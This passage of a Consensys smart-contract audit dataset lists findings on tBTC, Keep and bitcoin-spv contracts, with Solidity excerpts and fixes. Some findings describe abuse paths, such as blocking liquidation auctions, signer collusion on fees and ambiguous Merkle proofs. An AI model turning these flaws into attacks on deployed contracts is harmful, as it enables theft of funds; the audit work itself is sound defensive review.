value or calling the contract via SafeERC20 to support potentially broken tokens that do not revert in error cases (token.transferFrom). ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.24 tbtc - Inconsistency between increaseRedemptionFee and provideRedemptionProof may create un-provable redemptions Addressed", "body": " Resolution Issue addressed in keep-network/tbtc#522 Description DepositRedemption.increaseRedemptionFee is used by signers to approve a signable bitcoin transaction with a higher fee, in case the network is congested and miners are not approving the lower-fee transaction. Fee increases can be performed every 4 hours: tbtc/implementation/contracts/deposit/DepositRedemption.sol:L225 require(block.timestamp >= _d.withdrawalRequestTime + TBTCConstants.getIncreaseFeeTimer(), \"Fee increase not yet permitted\"); In addition, each increase must increment the fee by exactly the initial proposed fee: tbtc/implementation/contracts/deposit/DepositRedemption.sol:L260-L263 // Check that we're incrementing the fee by exactly the redeemer's initial fee uint256 _previousOutputValue = DepositUtils.bytes8LEToUint(_previousOutputValueBytes); _newOutputValue = DepositUtils.bytes8LEToUint(_newOutputValueBytes); require(_previousOutputValue.sub(_newOutputValue) == _d.initialRedemptionFee, \"Not an allowed fee step\"); Outside of these two restrictions, there is no limit to the number of times increaseRedemptionFee can be called. Over a 20-hour period, for example, increaseRedemptionFee could be called 5 times, increasing the fee to initialRedemptionFee * 5. Over a 24-hour period, increaseRedemptionFee could be called 6 times, increasing the fee to initialRedemptionFee * 6. Eventually, it is expected that a transaction will be submitted and mined. At this point, anyone can call DepositRedemption.provideRedemptionProof, finalizing the redemption process and rewarding the signers. However, provideRedemptionProof will fail if the transaction fee is too high: tbtc/implementation/contracts/deposit/DepositRedemption.sol:L308 require((_d.utxoSize().sub(_fundingOutputValue)) <= _d.initialRedemptionFee * 5, \"Fee unexpectedly very high\"); In the case that increaseRedemptionFee is called 6 times and the signers provide a signature for this transaction, the transaction can be submitted and mined but provideRedemptionProof for this will always fail. Eventually, a redemption proof timeout will trigger the deposit into liquidation and the signers will be punished. Recommendation Because it is difficult to say with certainty that a 5x fee increase will always ensure a transaction s redeemability, the upper bound on fee bumps should be removed from provideRedemptionProof. This should be implemented in tandem with issue 5.37, so that signers cannot provide a proof that bypasses increaseRedemptionFee flow to spend the highest fee possible. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.25 keep-tecdsa - keep cannot be closed if a members bond was seized or fully reassigned Addressed", "body": " Description A keep cannot be closed if the bonds have been completely reassigned or seized before, leaving at least one member with zero lockedBonds. In this case closeKeep() will throw in freeMembersBonds() because the requirement in keepBonding.freeBond is not satisfied anymore (lockedBonds[bondID] > 0). As a result of this, none of the potentially remaining bonds (reassign) are freed, the keep stays active even though it should be closed. Examples keep-tecdsa/solidity/contracts/BondedECDSAKeep.sol:L373-L396 /// @notice Closes keep when owner decides that they no longer need it. /// Releases bonds to the keep members. Keep can be closed only when /// there is no signing in progress or requested signing process has timed out. /// @dev The function can be called by the owner of the keep and only is the /// keep has not been closed already. function closeKeep() external onlyOwner onlyWhenActive { require( !isSigningInProgress() || hasSigningTimedOut(), \"Requested signing has not timed out yet\" ); isActive = false; freeMembersBonds(); emit KeepClosed(); /// @notice Returns bonds to the keep members. function freeMembersBonds() internal { for (uint256 i = 0; i < members.length; i++) { keepBonding.freeBond(members[i], uint256(address(this))); keep-tecdsa/solidity/contracts/KeepBonding.sol:L173-L190 /// @notice Releases the bond and moves the bond value to the operator's /// unbounded value pool. /// @dev Function requires that caller is the holder of the bond which is /// being released. /// @param operator Address of the bonded operator. /// @param referenceID Reference ID of the bond. function freeBond(address operator, uint256 referenceID) public { address holder = msg.sender; bytes32 bondID = keccak256( abi.encodePacked(operator, holder, referenceID) ); require(lockedBonds[bondID] > 0, \"Bond not found\"); uint256 amount = lockedBonds[bondID]; lockedBonds[bondID] = 0; unbondedValue[operator] = amount; Recommendation Make sure the keep can be set to an end-state (closed/inactive) indicating its end-of-life even if the bond has been seized before. Avoid throwing an exception when freeing member bonds to avoid blocking the unlocking of bonds. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.26 tbtc - provideFundingECDSAFraudProof attempts to burn non-existent funds Addressed", "body": " Resolution Addressed as https://github.com/keep-network/tbtc/issues/502 and fixed with keep-network/tbtc#523. Description The funding flow was recently changed from requiring the funder to provide a bond that stays in the Deposit contract to forwarding the funds to the keep, paying for the keep setup. So at a high level, the funding bond was designed to ensure that funders had some minimum skin in the game, so that DoSing signers/the system was expensive. The upside was that we could refund it in happy paths. Now that we ve realized that opening the keep itself will cost enough to prevent DoS, the concept of refunding goes away entirely. We definitely missed cleaning up the funder handling in provideFundingECDSAFraudProof though. Examples tbtc/implementation/contracts/deposit/DepositFunding.sol:L170-L173 // If the funding timeout has elapsed, punish the funder too! if (block.timestamp > _d.fundingProofTimerStart + TBTCConstants.getFundingTimeout()) { address(0).transfer(address(this).balance); // Burn it all down (fire emoji) _d.setFailedSetup(); Recommendation Remove the line that attempts to punish the funder by burning the Deposit contract balance which is zero due to recent changes in how the payment provided with createNewDepositis handled. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.27 bitcoin-spv - Bitcoin output script length is not checked in wpkhSpendSighash ", "body": " Resolution Summa opted not to make this change. See https://github.com/summa-tx/bitcoin-spv/issues/112 for details. Description CheckBitcoinSigs.wpkhSpendSighash calculates the sighash of a Bitcoin transaction. Among its parameters, it accepts bytes memory _outpoint, which is a 36-byte UTXO id consisting of a 32-byte transaction hash and a 4-byte output index. The function in question should not accept an _outpoint that is not 36-bytes, but no length check is made: bitcoin-spv/solidity/contracts/CheckBitcoinSigs.sol:L130-L159 function wpkhSpendSighash( bytes memory _outpoint, // 36 byte UTXO id bytes20 _inputPKH, // 20 byte hash160 bytes8 _inputValue, // 8-byte LE bytes8 _outputValue, // 8-byte LE bytes memory _outputScript // lenght-prefixed output script ) internal pure returns (bytes32) { // Fixes elements to easily make a 1-in 1-out sighash digest // Does not support timelocks bytes memory _scriptCode = abi.encodePacked( hex\"1976a914\", // length, dup, hash160, pkh_length _inputPKH, hex\"88ac\"); // equal, checksig bytes32 _hashOutputs = abi.encodePacked( _outputValue, // 8-byte LE _outputScript).hash256(); bytes memory _sighashPreimage = abi.encodePacked( hex\"01000000\", // version _outpoint.hash256(), // hashPrevouts hex\"8cb9012517c817fead650287d61bdd9c68803b6bf9c64133dcab3e65b5a50cb9\", // hashSequence(00000000) _outpoint, // outpoint _scriptCode, // p2wpkh script code _inputValue, // value of the input in 8-byte LE hex\"00000000\", // input nSequence _hashOutputs, // hash of the single output hex\"00000000\", // nLockTime hex\"01000000\" // SIGHASH_ALL ); return _sighashPreimage.hash256(); Recommendation Check that _outpoint.length is 36. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.28 tbtc - liquidationInitiator can block purchaseSignerBondsAtAuction indefinitely Addressed", "body": " Resolution Addressed with https://github.com/keep-network/tbtc/issues/503 and commits from keep-network/tbtc#524 switching from Description When reporting a fraudulent proof the deposits liquidationInitiator is set to the entity reporting and proofing the fraud. The deposit that is in a *_liquidation_in_progress state can be bought by anyone at an auction calling purchaseSignerBondsAtAuction. Instead of receiving a share of the funds the liquidationInitiator can decide to intentionally reject the funds by raising an exception causing initiator.transfer(contractEthBalance) to throw, blocking the auction and forcing the liquidation to fail. The deposit will stay in one of the *_liquidation_in_progress states. Examples tbtc/implementation/contracts/deposit/DepositLiquidation.sol:L224-L276 /// @notice Closes an auction and purchases the signer bonds. Payout to buyer, funder, then signers if not fraud /// @dev For interface, reading auctionValue will give a past value. the current is better /// @param _d deposit storage pointer function purchaseSignerBondsAtAuction(DepositUtils.Deposit storage _d) public { bool _wasFraud = _d.inFraudLiquidationInProgress(); require(_d.inSignerLiquidation(), \"No active auction\"); _d.setLiquidated(); _d.logLiquidated(); // send the TBTC to the TDT holder. If the TDT holder is the Vending Machine, burn it to maintain the peg. address tdtHolder = _d.depositOwner(); TBTCToken _tbtcToken = TBTCToken(_d.TBTCToken); uint256 lotSizeTbtc = _d.lotSizeTbtc(); require(_tbtcToken.balanceOf(msg.sender) >= lotSizeTbtc, \"Not enough TBTC to cover outstanding debt\"); if(tdtHolder == _d.VendingMachine){ _tbtcToken.burnFrom(msg.sender, lotSizeTbtc); // burn minimal amount to cover size else{ _tbtcToken.transferFrom(msg.sender, tdtHolder, lotSizeTbtc); // Distribute funds to auction buyer uint256 _valueToDistribute = _d.auctionValue(); msg.sender.transfer(_valueToDistribute); // Send any TBTC left to the Fee Rebate Token holder _d.distributeFeeRebate(); // For fraud, pay remainder to the liquidation initiator. // For non-fraud, split 50-50 between initiator and signers. if the transfer amount is 1, // division will yield a 0 value which causes a revert; instead, // we simply ignore such a tiny amount and leave some wei dust in escrow uint256 contractEthBalance = address(this).balance; address payable initiator = _d.liquidationInitiator; if (initiator == address(0)){ initiator = address(0xdead); if (contractEthBalance > 1) { if (_wasFraud) { initiator.transfer(contractEthBalance); } else { // There will always be a liquidation initiator. uint256 split = contractEthBalance.div(2); _d.pushFundsToKeepGroup(split); initiator.transfer(split); Recommendation Use a pull vs push funds pattern or use address.send instead of address.transfer which might leave some funds locked in the contract if it fails. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.29 bitcoin-spv - verifyHash256Merkle allows existence proofs for the same leaf in multiple locations in the tree ", "body": " Resolution Summa opted not to make this change, citing inconsistencies in Bitcoin s merkle implementation. See https://github.com/summa-tx/bitcoin-spv/issues/108 for details. Description BTCUtils.verifyHash256Merkle is used by ValidateSPV.prove to validate a transaction s existence in a Bitcoin block. The function accepts as input a _proof and an _index. The _proof consists of, in order: the transaction hash, a list of intermediate nodes, and the merkle root. The proof is performed iteratively, and uses the _index to determine whether the next proof element represents a left branch or a right branch: bitcoin-spv/solidity/contracts/BTCUtils.sol:L574-L586 uint _idx = _index; bytes32 _root = _proof.slice(_proof.length - 32, 32).toBytes32(); bytes32 _current = _proof.slice(0, 32).toBytes32(); for (uint i = 1; i < (_proof.length.div(32)) - 1; i++) { if (_idx % 2 == 1) { _current = _hash256MerkleStep(_proof.slice(i * 32, 32), abi.encodePacked(_current)); } else { _current = _hash256MerkleStep(abi.encodePacked(_current), _proof.slice(i * 32, 32)); _idx = _idx >> 1; return _current == _root; If _idx is even, the computed hash is placed before the next proof element. If _idx is odd, the computed hash is placed after the next proof element. After each iteration, _idx is decremented by _idx /= 2. Because verifyHash256Merkle makes no requirements on the size of _proof relative to _index, it is possible to pass in invalid values for _index that prove a transaction s existence in multiple locations in the tree. Examples By modifying existing tests, we showed that any transaction can be proven to exist at least one alternate index. This alternate index is calculated as (2 ** treeHeight) + prevIndex - though other alternate indices are possible. The modified test is below: Recommendation Use the length of _proof to determine the maximum allowed _index. _index should satisfy the following criterion: _index < 2 ** (_proof.length.div(32) - 2). Note that subtraction by 2 accounts for the transaction hash and merkle root, which are assumed to be encoded in the proof along with the intermediate nodes. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.30 keep-core - stake operator should not be eligible if undelegatedAt is set Addressed", "body": " Resolution Addressed with https://github.com/keep-network/keep-core/issues/1433 by enforcing that stake must be canceled in initialization period. undelegatedAt is intended to support undelegation in advance at any given time. Whether we do < or <= is not actually significant, as transaction reordering also means ability to include/not include transactions arbitrarily, but changing the check to operator.UndelegatedAt == 0 would ruin e.g. the use-case where Alice wants to delegate to Bob for 12 months. If we don t currently need that use-case, the check can be simplified to == 0. Description An operator s stake should not be eligible if they stake an amount and immediately call undelegate in an attempt to indicate that they are going to recover their stake soon. Examples keep-core/contracts/solidity/contracts/TokenStaking.sol:L232-L236 bool notUndelegated = block.number <= operator.undelegatedAt || operator.undelegatedAt == 0; if (isAuthorized && isActive && notUndelegated) { balance = operator.amount; Recommendation A stake that is entering undelegation is indicated by operator.undelegatedAt being non-zero. Change the notUndelegated check block.number <= operator.undelegatedAt || operator.undelegatedAt == 0 to operator.undelegatedAT == 0 as any value being set indicates that undelegation is in progress. Enforce that within the initialization period stake is canceled instead of being undelegated. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.31 keep-core - Specification inconsistency: TokenStaking amount to be slashed/seized Addressed", "body": " Resolution Partially addressed with https://github.com/keep-network/keep-core/issues/1428 by ensuring that at least some stack is slashed. As noted in the issue, the case where less than the minimum stake was slashed from an operator is left unhandled with this fix. Description The keep specification states that slash and seize affect at least the amount specified or the remaining stake of a member. Slash each operator in the list misbehavers by the specified amount (or their remaining stake, whichever is lower). Punish each operator in the list misbehavers by the specified amount or their remaining stake. The implementation, however, bails if one of the accounts does not have enough stake to be slashed or seized because of the use of SafeMath.sub(). This behavior is inconsistent with the specification which states that min(amount, misbehaver.stake) stake should be affected. The call to slash/seize will revert and no stakes are affected. At max, the staked amount of the lowest staker can be slashed/seized from every staker. Implementing this method as stated in the specification using min(amount, misbehaver.stake) will cover the fact that slashing/seizing was only partially successful. If misbehaver.stake is zero no error might be emitted even though no stake was slashed/seized. Examples keep-core/contracts/solidity/contracts/TokenStaking.sol:L151-L195 /** @dev Slash provided token amount from every member in the misbehaved operators array and burn 100% of all the tokens. @param amount Token amount to slash from every misbehaved operator. @param misbehavedOperators Array of addresses to seize the tokens from. / function slash(uint256 amount, address[] memory misbehavedOperators) public onlyApprovedOperatorContract(msg.sender) { for (uint i = 0; i < misbehavedOperators.length; i++) { address operator = misbehavedOperators[i]; require(authorizations[msg.sender][operator], \"Not authorized\"); operators[operator].amount = operators[operator].amount.sub(amount); token.burn(misbehavedOperators.length.mul(amount)); /** @dev Seize provided token amount from every member in the misbehaved operators array. The tattletale is rewarded with 5% of the total seized amount scaled by the reward adjustment parameter and the rest 95% is burned. @param amount Token amount to seize from every misbehaved operator. @param rewardMultiplier Reward adjustment in percentage. Min 1% and 100% max. @param tattletale Address to receive the 5% reward. @param misbehavedOperators Array of addresses to seize the tokens from. / function seize( uint256 amount, uint256 rewardMultiplier, address tattletale, address[] memory misbehavedOperators ) public onlyApprovedOperatorContract(msg.sender) { for (uint i = 0; i < misbehavedOperators.length; i++) { address operator = misbehavedOperators[i]; require(authorizations[msg.sender][operator], \"Not authorized\"); operators[operator].amount = operators[operator].amount.sub(amount); uint256 total = misbehavedOperators.length.mul(amount); uint256 tattletaleReward = (total.mul(5).div(100)).mul(rewardMultiplier).div(100); token.transfer(tattletale, tattletaleReward); token.burn(total.sub(tattletaleReward)); Recommendation Require that minimumStake has been provided and can be seized/slashed. Update the documentation to reflect the fact that the solution always seizes/slashes minimumStake. Ensure that stakers cannot cancel their stake while they are actively participating in the network. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.32 keep-tecdsa - Change state-mutability of checkSignatureFraud to view Addressed", "body": " Resolution Addressed as part of https://github.com/keep-network/keep-tecdsa/issues/254 with commits from keep-network/keep-tecdsa#283 splitting the method into two parts: Description BondedECDSAKeep.sol.submitSignatureFraud is not state-changing and should, therefore, be declared with the function state-mutability view. Examples keep-tecdsa/solidity/contracts/BondedECDSAKeep.sol:L265-L290 function submitSignatureFraud( uint8 _v, bytes32 _r, bytes32 _s, bytes32 _signedDigest, bytes calldata _preimage ) external returns (bool _isFraud) { require(publicKey.length != 0, \"Public key was not set yet\"); bytes32 calculatedDigest = sha256(_preimage); require( _signedDigest == calculatedDigest, \"Signed digest does not match double sha256 hash of the preimage\" ); bool isSignatureValid = publicKeyToAddress(publicKey) == ecrecover(_signedDigest, _v, _r, _s); // Check if the signature is valid but was not requested. require( isSignatureValid && !digests[_signedDigest], \"Signature is not fraudulent\" ); return true; Recommendation Declare method as view. Consider renaming submitSignatureFraud to e.g. checkSignatureFraud to emphasize that it is only checking the signature and not actually changing state. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.33 keep-core - Specification inconsistency: TokenStaking.slash() is never called Addressed", "body": " Resolution Addressed with https://github.com/keep-network/keep-tecdsa/issues/254 and changesets from keep-network/keep-tecdsa#283 by slashing the signer stakes when signature fraud is proven. Description According to the keep specification stake should be slashed if a staker violates the protocol: Slashing If a staker violates the protocol of an operation in a way which can be proven on-chain, they will be penalized by having their stakes slashed. While this functionality can only be called by the approved operator contract, it is not being used throughout the system. In contrast seize() is being called when reporting unauthorized signing or relay entry timeout. Examples keep-core/contracts/solidity/contracts/TokenStaking.sol:L151-L167 /** @dev Slash provided token amount from every member in the misbehaved operators array and burn 100% of all the tokens. @param amount Token amount to slash from every misbehaved operator. @param misbehavedOperators Array of addresses to seize the tokens from. / function slash(uint256 amount, address[] memory misbehavedOperators) public onlyApprovedOperatorContract(msg.sender) { for (uint i = 0; i < misbehavedOperators.length; i++) { address operator = misbehavedOperators[i]; require(authorizations[msg.sender][operator], \"Not authorized\"); operators[operator].amount = operators[operator].amount.sub(amount); token.burn(misbehavedOperators.length.mul(amount)); Recommendation Implement slashing according to the specification. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.34 tbtc - Remove notifyDepositExpiryCourtesyCall and allow exitCourtesyCall exiting the courtesy call at term Addressed", "body": " Resolution Addressed with keep-network/tbtc#476 following the recommendation. Description Following a deep dive into state transitions with the client it was agreed that notifyDepositExpiryCourtesyCall should be removed from the system as it is a left-over of a previous version of the deposit contract. Additionally, exitCourtesyCall should be callable at any time. Examples tbtc/implementation/contracts/deposit/DepositLiquidation.sol:L289-L298 /// @notice Goes from courtesy call to active /// @dev Only callable if collateral is sufficient and the deposit is not expiring /// @param _d deposit storage pointer function exitCourtesyCall(DepositUtils.Deposit storage _d) public { require(_d.inCourtesyCall(), \"Not currently in courtesy call\"); require(block.timestamp <= _d.fundedAt + TBTCConstants.getDepositTerm(), \"Deposit is expiring\"); require(getCollateralizationPercentage(_d) >= _d.undercollateralizedThresholdPercent, \"Deposit is still undercollateralized\"); _d.setActive(); _d.logExitedCourtesyCall(); Recommendation Remove the notifyDepositExpiryCourtesyCall state transition and remove the requirement on exitCourtesyCall being callable only before the deposit expires. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.35 keep-tecdsa - withdraw should check for zero value transfer Addressed", "body": " Resolution Addressed with https://github.com/keep-network/keep-tecdsa/issues/280 by denying zero value withdrawals. Description Requesting the withdrawal of zero ETH in KeepBonding.withdraw should fail as this would allow the method to succeed, calling the user-provided destination even though the sender has no unbonded value. Examples keep-tecdsa/solidity/contracts/KeepBonding.sol:L78-L88 function withdraw(uint256 amount, address payable destination) public { require( unbondedValue[msg.sender] >= amount, \"Insufficient unbonded value\" ); unbondedValue[msg.sender] -= amount; (bool success, ) = destination.call.value(amount)(\"\"); require(success, \"Transfer failed\"); And a similar instance in BondedECDSAKeep: keep-tecdsa/solidity/contracts/BondedECDSAKeep.sol:L487-L498 /// @notice Withdraws amount of ether hold in the keep for the member. /// The value is sent to the beneficiary of the specific member. /// @param _member Keep member address. function withdraw(address _member) external { uint256 value = memberETHBalances[_member]; memberETHBalances[_member] = 0; /* solium-disable-next-line security/no-call-value */ (bool success, ) = tokenStaking.magpieOf(_member).call.value(value)(\"\"); require(success, \"Transfer failed\"); Recommendation Require that the amount to be withdrawn is greater than zero. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.36 keep-core - TokenStaking owner should be protected from slash() and seize() during initializationPeriod Addressed", "body": " Resolution Addressed by https://github.com/keep-network/keep-core/issues/1426 and fixed with keep-network/keep-core#1453. Description From the specification: Slashing If a staker violates the protocol of an operation in a way which can be proven on-chain, they will be penalized by having their stakes slashed. The initialization period is a backoff time during which operator stakes are not active nor eligible to receive work. Since they cannot misbehave they should be protected from having their stake slashed or seized. It should also be noted that slash() and seize() can be front-run during the initializationPeriod by having the operator owner cancel the deposit before it is being slashed or seized. Recommendation Require deposits to be in active state for being slashed or seized. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.37 tbtc - Signer collusion may bypass increaseRedemptionFee flow Addressed", "body": " Resolution Issue addressed in keep-network/tbtc#522 Description DepositRedemption.increaseRedemptionFee is used by signers to approve a signable bitcoin transaction with a higher fee, in case the network is congested and miners are not approving the lower-fee transaction. Fee increases can be performed every 4 hours: tbtc/implementation/contracts/deposit/DepositRedemption.sol:L225 require(block.timestamp >= _d.withdrawalRequestTime + TBTCConstants.getIncreaseFeeTimer(), \"Fee increase not yet permitted\"); In addition, each increase must increment the fee by exactly the initial proposed fee: tbtc/implementation/contracts/deposit/DepositRedemption.sol:L260-L263 // Check that we're incrementing the fee by exactly the redeemer's initial fee uint256 _previousOutputValue = DepositUtils.bytes8LEToUint(_previousOutputValueBytes); _newOutputValue = DepositUtils.bytes8LEToUint(_newOutputValueBytes); require(_previousOutputValue.sub(_newOutputValue) == _d.initialRedemptionFee, \"Not an allowed fee step\"); Outside of these two restrictions, there is no limit to the number of times increaseRedemptionFee can be called. Over a 20-hour period, for example, increaseRedemptionFee could be called 5 times, increasing the fee to initialRedemptionFee * 5. Rather than calling increaseRedemptionFee 5 times over 20 hours, colluding signers may immediately create and sign a transaction with a fee of initialRedemptionFee * 5, wait for it to be mined, then submit it to provideRedemptionProof. Because provideRedemptionProof does not check that a transaction signature signs an approved digest, interested parties would need to monitor the bitcoin blockchain, notice the spend, and provide an ECDSA fraud proof before provideRedemptionProof is called. Recommendation Track the latest approved fee, and ensure the transaction in provideRedemptionProof does not include a higher fee. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.38 tbtc - liquidating a deposit does not send the complete remainder of the contract balance to recipients Addressed", "body": " Resolution Addressed with https://github.com/keep-network/tbtc/issues/504 and commits from keep-network/tbtc#524, transferring the remaining balance of the contract to the initiator and switching from Description purchaseSignerBondsAtAuction might leave a wei in the contract if: there is only one wei remaining in the contract there is more than one wei remaining but the contract balance is odd. Examples contract balances must be > 1 wei otherwise no transfer is attempted the division at line 271 floors the result if dividing an odd balance. The contract is sending floor(contract.balance / 2) to the keep group and liquidationInitiator leaving one 1 in the contract. tbtc/implementation/contracts/deposit/DepositLiquidation.sol:L266-L275 if (contractEthBalance > 1) { if (_wasFraud) { initiator.transfer(contractEthBalance); } else { // There will always be a liquidation initiator. uint256 split = contractEthBalance.div(2); _d.pushFundsToKeepGroup(split); initiator.transfer(split); Recommendation Define a reasonable minimum amount when awarding the fraud reporter or liquidation initiator. Alternatively, always transfer the contract balance. When splitting the amount use the contract balance after the first transfer as the value being sent to the second recipient. Use the presence of locked funds in a contract as an error indicator unless funds were sent forcefully to the contract. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.39 tbtc - approveAndCall unused return parameter Addressed", "body": " Resolution Addressed with https://github.com/keep-network/tbtc/issues/505 by returning Description approveAndCall always returns false because the return value bool success is never set. Examples tbtc/implementation/contracts/system/TBTCDepositToken.sol:L42-L54 /// @notice Set allowance for other address and notify. /// Allows `_spender` to transfer the specified TDT /// on your behalf and then ping the contract about it. /// @dev The `_spender` should implement the `tokenRecipient` interface below /// to receive approval notifications. /// @param _spender Address of contract authorized to spend. /// @param _tdtId The TDT they can spend. /// @param _extraData Extra information to send to the approved contract. function approveAndCall(address _spender, uint256 _tdtId, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); approve(_spender, _tdtId); spender.receiveApproval(msg.sender, _tdtId, address(this), _extraData); Recommendation Return the correct success state. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.40 bitcoin-spv - Unnecessary memory allocation in BTCUtils Pending", "body": " Resolution The client provided feedback that this issue is not scheduled to be addressed. Description BTCUtils makes liberal use of BytesLib.slice, which returns a freshly-allocated slice of an existing bytes array. In many cases, the desired behavior is simply to read a 32-byte slice of a byte array. As a result, the typical pattern used is: bytesVar.slice(start, start + 32).toBytes32(). This pattern introduces unnecessary complexity and memory allocation in a critically important library: cloning a portion of the array, storing that clone in memory, and then reading it from memory. A simpler alternative would be to implement BytesLib.readBytes32(bytes _b, uint _idx) and other memory-read functions. Rather than moving the free memory pointer and redundantly reading, storing, then re-reading memory, readBytes32 and similar functions would perform a simple length check and mload directly from the desired index in the array. Examples extractInputTxIdLE: bitcoin-spv/solidity/contracts/BTCUtils.sol:L254-L260 /// @notice Extracts the outpoint tx id from an input /// @dev 32 byte tx id /// @param _input The input /// @return The tx id (little-endian bytes) function extractInputTxIdLE(bytes memory _input) internal pure returns (bytes32) { return _input.slice(0, 32).toBytes32(); verifyHash256Merkle: bitcoin-spv/solidity/contracts/BTCUtils.sol:L574-L586 uint _idx = _index; bytes32 _root = _proof.slice(_proof.length - 32, 32).toBytes32(); bytes32 _current = _proof.slice(0, 32).toBytes32(); for (uint i = 1; i < (_proof.length.div(32)) - 1; i++) { if (_idx % 2 == 1) { _current = _hash256MerkleStep(_proof.slice(i * 32, 32), abi.encodePacked(_current)); } else { _current = _hash256MerkleStep(abi.encodePacked(_current), _proof.slice(i * 32, 32)); _idx = _idx >> 1; return _current == _root; Recommendation Implement BytesLib.readBytes32 and favor its use over the bytesVar.slice(start, start + 32).toBytes32() pattern. Implement other memory-read functions where possible, and avoid the use of slice. Note, too, that implementing this change in verifyHash256Merkle would allow _hash256MerkleStep to accept 2 bytes32 inputs (rather than bytes), removing additional unnecessary casting and memory allocation. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.41 bitcoin-spv - ValidateSPV.validateHeaderChain does not completely validate input ", "body": " Resolution Summa opted not to make this change. See https://github.com/summa-tx/bitcoin-spv/issues/111 Description ValidateSPV.validateHeaderChain takes as input a sequence of Bitcoin headers and calculates the total accumulated difficulty across the entire sequence. The input headers are checked to ensure they are relatively well-formed: bitcoin-spv/solidity/contracts/ValidateSPV.sol:L173-L174 // Check header chain length if (_headers.length % 80 != 0) {return ERR_BAD_LENGTH;} However, the function lacks a check for nonzero length of _headers. Although the total difficulty returned would be zero, an explicit check would make this more clear. Recommendation If headers.length is zero, return ERR_BAD_LENGTH ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.42 bitcoin-spv - unnecessary intermediate cast Addressed", "body": " Resolution Issue addressed in summa-tx/bitcoin-spv#123 Description Examples bitcoin-spv/solidity/contracts/CheckBitcoinSigs.sol:L15-L25 /// @notice Derives an Ethereum Account address from a pubkey /// @dev The address is the last 20 bytes of the keccak256 of the address /// @param _pubkey The public key X & Y. Unprefixed, as a 64-byte array /// @return The account address function accountFromPubkey(bytes memory _pubkey) internal pure returns (address) { require(_pubkey.length == 64, \"Pubkey must be 64-byte raw, uncompressed key.\"); // keccak hash of uncompressed unprefixed pubkey bytes32 _digest = keccak256(_pubkey); return address(uint160(uint256(_digest))); Recommendation The intermediate cast from uint256 to uint160 can be omitted. Refactor to return address(uint256(_digest)) instead. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.43 bitcoin-spv - unnecessary logic in BytesLib.toBytes32() Addressed", "body": " Resolution Issue addressed in summa-tx/bitcoin-spv#125 Description The heavily used library function BytesLib.toBytes32() unnecessarily casts _source to bytes (same type) and creates a copy of the dynamic byte array to check it s length, while this can be done directly on the user-provided bytes _source. Examples bitcoin-spv/solidity/contracts/BytesLib.sol:L399-L408 function toBytes32(bytes memory _source) pure internal returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(_source); if (tempEmptyStringTest.length == 0) { return 0x0; assembly { result := mload(add(_source, 32)) Recommendation function toBytes32(bytes memory _source) pure internal returns (bytes32 result) { if (_source.length == 0) { return 0x0; assembly { result := mload(add(_source, 32)) ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.44 bitcoin-spv - redundant functionality ", "body": " Resolution Summa opted not to make this change. See https://github.com/summa-tx/bitcoin-spv/issues/116 for details. Description The library exposes redundant implementations of bitcoins double sha256. Examples solidity native implementation with an overzealous type correction issue 5.45 bitcoin-spv/solidity/contracts/BTCUtils.sol:L110-L116 /// @notice Implements bitcoin's hash256 (double sha2) /// @dev abi.encodePacked changes the return to bytes instead of bytes32 /// @param _b The pre-image /// @return The digest function hash256(bytes memory _b) internal pure returns (bytes32) { return abi.encodePacked(sha256(abi.encodePacked(sha256(_b)))).toBytes32(); assembly implementation Note this implementation does not handle errors when staticcall ing the precompiled sha256 contract (private chains). bitcoin-spv/solidity/contracts/BTCUtils.sol:L118-L129 /// @notice Implements bitcoin's hash256 (double sha2) /// @dev sha2 is precompiled smart contract located at address(2) /// @param _b The pre-image /// @return The digest function hash256View(bytes memory _b) internal view returns (bytes32 res) { assembly { let ptr := mload(0x40) pop(staticcall(gas, 2, add(_b, 32), 